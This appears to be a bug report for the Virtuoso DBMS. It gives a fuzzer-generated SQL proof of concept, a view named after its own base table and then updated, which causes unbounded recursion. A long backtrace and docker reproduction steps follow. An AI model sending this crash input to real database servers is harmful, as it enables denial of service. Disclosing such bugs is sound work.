The PoC is generated by my DBMS fuzzer.

CREATE TABLE t1(x VARCHAR, k VARCHAR, v VARCHAR); CREATE VIEW t1 AS SELECT x, x FROM t1; UPDATE t1 SET x = x + 100;

backtrace:

#0 0x6080d1 (sch_name_to_object+0x11) #1 0x7dcf6f (sqlc_update_searched+0x6f) #2 0x817cd1 (sqlc_update_view+0xaa1) #3 0x7ddad0 (sqlc_update_searched+0xbd0) #4 0x817cd1 (sqlc_update_view+0xaa1) #5 0x7ddad0 (sqlc_update_searched+0xbd0) #6 0x817cd1 (sqlc_update_view+0xaa1) #7 0x7ddad0 (sqlc_update_searched+0xbd0) #8 0x817cd1 (sqlc_update_view+0xaa1) #9 0x7ddad0 (sqlc_update_searched+0xbd0) #10 0x817cd1 (sqlc_update_view+0xaa1) … #2546 0x817cd1 (sqlc_update_view+0xaa1) #2547 0x7ddad0 (sqlc_update_searched+0xbd0) #2548 0x817cd1 (sqlc_update_view+0xaa1) #2549 0x7ddad0 (sqlc_update_searched+0xbd0) #2550 0x817cd1 (sqlc_update_view+0xaa1) #2551 0x7ddad0 (sqlc_update_searched+0xbd0) #2552 0x6b7212 (sql_stmt_comp+0x812) #2553 0x6ba122 (sql_compile_1+0x1a62) #2554 0x7c8cd0 (stmt_set_query+0x340) #2555 0x7cabc2 (sf_sql_execute+0x922) #2556 0x7cbf4e (sf_sql_execute_w+0x17e) #2557 0x7d4c0d (sf_sql_execute_wrapper+0x3d) #2558 0xe1f01c (future_wrapper+0x3fc) #2559 0xe2691e (_thread_boot+0x11e) #2560 0x7f5b7a921609 (start_thread+0xd9) #2561 0x7f5b7a6f1133 (clone+0x43)

ways to reproduce (write poc to the file ‘/tmp/test.sql’ first):

remove the old one

docker container rm virtdb_test -f

start virtuoso through docker

docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9

wait the server starting

sleep 10

check whether the simple query works

echo “SELECT 1;” | docker exec -i virtdb_test isql 1111 dba

run the poc

docker exec -i virtdb_test isql 1111 dba < “/tmp/test.sql”